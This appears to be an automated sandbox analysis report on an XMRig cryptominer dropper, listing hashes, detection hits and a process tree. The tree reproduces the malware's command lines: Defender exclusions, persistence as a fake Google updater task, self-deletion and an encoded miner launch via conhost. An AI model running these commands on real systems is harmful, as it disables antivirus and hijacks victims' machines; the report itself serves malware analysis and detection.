xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1799s
max time network
1794s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exe

description	pid	process	target process
PID 1192 created 3144	1192	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 1192 created 3144	1192	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 1192 created 3144	1192	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 1192 created 3144	1192	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 4928 created 3144	4928	updater.exe	Explorer.EXE
PID 4928 created 3144	4928	updater.exe	Explorer.EXE
PID 4928 created 3144	4928	updater.exe	Explorer.EXE
PID 4928 created 3144	4928	updater.exe	Explorer.EXE
PID 4340 created 3144	4340	conhost.exe	Explorer.EXE
PID 4928 created 3144	4928	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2708-246-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-249-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-253-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-257-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-259-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-261-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-263-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-265-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-267-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-269-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-271-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-273-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-275-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-277-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-279-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-281-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-283-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-285-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-287-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-289-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-291-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-293-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-295-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-297-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-299-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-301-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-303-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-309-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-311-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig
behavioral2/memory/2708-313-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

4928 updater.exe

pid	process
4928	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/2708-246-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-249-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-253-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-257-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-259-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-261-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-263-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-265-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-267-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-269-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-271-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-273-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-275-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-277-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-279-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-281-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-283-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-285-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-287-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-289-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-291-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-293-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-295-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-297-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-299-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-301-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-303-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-309-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-311-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx
behavioral2/memory/2708-313-0x00007FF6072C0000-0x00007FF607AB4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 4928 set thread context of 4340	4928	updater.exe	conhost.exe
PID 4928 set thread context of 2708	4928	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1192	qM5GMXBk6hJE6Y5e.exe
1192	qM5GMXBk6hJE6Y5e.exe
4832	powershell.exe
4832	powershell.exe
1192	qM5GMXBk6hJE6Y5e.exe
1192	qM5GMXBk6hJE6Y5e.exe
4064	powershell.exe
4064	powershell.exe
1192	qM5GMXBk6hJE6Y5e.exe
1192	qM5GMXBk6hJE6Y5e.exe
1192	qM5GMXBk6hJE6Y5e.exe
1192	qM5GMXBk6hJE6Y5e.exe
4408	powershell.exe
4408	powershell.exe
4928	updater.exe
4928	updater.exe
2552	powershell.exe
2552	powershell.exe
4928	updater.exe
4928	updater.exe
1860	powershell.exe
1860	powershell.exe
4928	updater.exe
4928	updater.exe
4928	updater.exe
4928	updater.exe
4340	conhost.exe
4340	conhost.exe
4928	updater.exe
4928	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

672

pid	process
672

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeIncreaseQuotaPrivilege	4064	powershell.exe
Token: SeSecurityPrivilege	4064	powershell.exe
Token: SeTakeOwnershipPrivilege	4064	powershell.exe
Token: SeLoadDriverPrivilege	4064	powershell.exe
Token: SeSystemProfilePrivilege	4064	powershell.exe
Token: SeSystemtimePrivilege	4064	powershell.exe
Token: SeProfSingleProcessPrivilege	4064	powershell.exe
Token: SeIncBasePriorityPrivilege	4064	powershell.exe
Token: SeCreatePagefilePrivilege	4064	powershell.exe
Token: SeBackupPrivilege	4064	powershell.exe
Token: SeRestorePrivilege	4064	powershell.exe
Token: SeShutdownPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeSystemEnvironmentPrivilege	4064	powershell.exe
Token: SeRemoteShutdownPrivilege	4064	powershell.exe
Token: SeUndockPrivilege	4064	powershell.exe
Token: SeManageVolumePrivilege	4064	powershell.exe
Token: 33	4064	powershell.exe
Token: 34	4064	powershell.exe
Token: 35	4064	powershell.exe
Token: 36	4064	powershell.exe
Token: SeIncreaseQuotaPrivilege	4064	powershell.exe
Token: SeSecurityPrivilege	4064	powershell.exe
Token: SeTakeOwnershipPrivilege	4064	powershell.exe
Token: SeLoadDriverPrivilege	4064	powershell.exe
Token: SeSystemProfilePrivilege	4064	powershell.exe
Token: SeSystemtimePrivilege	4064	powershell.exe
Token: SeProfSingleProcessPrivilege	4064	powershell.exe
Token: SeIncBasePriorityPrivilege	4064	powershell.exe
Token: SeCreatePagefilePrivilege	4064	powershell.exe
Token: SeBackupPrivilege	4064	powershell.exe
Token: SeRestorePrivilege	4064	powershell.exe
Token: SeShutdownPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeSystemEnvironmentPrivilege	4064	powershell.exe
Token: SeRemoteShutdownPrivilege	4064	powershell.exe
Token: SeUndockPrivilege	4064	powershell.exe
Token: SeManageVolumePrivilege	4064	powershell.exe
Token: 33	4064	powershell.exe
Token: 34	4064	powershell.exe
Token: 35	4064	powershell.exe
Token: 36	4064	powershell.exe
Token: SeIncreaseQuotaPrivilege	4064	powershell.exe
Token: SeSecurityPrivilege	4064	powershell.exe
Token: SeTakeOwnershipPrivilege	4064	powershell.exe
Token: SeLoadDriverPrivilege	4064	powershell.exe
Token: SeSystemProfilePrivilege	4064	powershell.exe
Token: SeSystemtimePrivilege	4064	powershell.exe
Token: SeProfSingleProcessPrivilege	4064	powershell.exe
Token: SeIncBasePriorityPrivilege	4064	powershell.exe
Token: SeCreatePagefilePrivilege	4064	powershell.exe
Token: SeBackupPrivilege	4064	powershell.exe
Token: SeRestorePrivilege	4064	powershell.exe
Token: SeShutdownPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeSystemEnvironmentPrivilege	4064	powershell.exe
Token: SeRemoteShutdownPrivilege	4064	powershell.exe
Token: SeUndockPrivilege	4064	powershell.exe
Token: SeManageVolumePrivilege	4064	powershell.exe
Token: 33	4064	powershell.exe
Token: 34	4064	powershell.exe
Token: 35	4064	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 4196 wrote to memory of 748	4196	cmd.exe	choice.exe
PID 4196 wrote to memory of 748	4196	cmd.exe	choice.exe
PID 4408 wrote to memory of 2776	4408	powershell.exe	schtasks.exe
PID 4408 wrote to memory of 2776	4408	powershell.exe	schtasks.exe
PID 4928 wrote to memory of 4340	4928	updater.exe	conhost.exe
PID 3896 wrote to memory of 1832	3896	cmd.exe	WMIC.exe
PID 3896 wrote to memory of 1832	3896	cmd.exe	WMIC.exe
PID 4928 wrote to memory of 2708	4928	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3144

C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4408

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:2776

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4196

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1860

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4340

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:1832

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:5040

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
PID:2708

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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C:\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
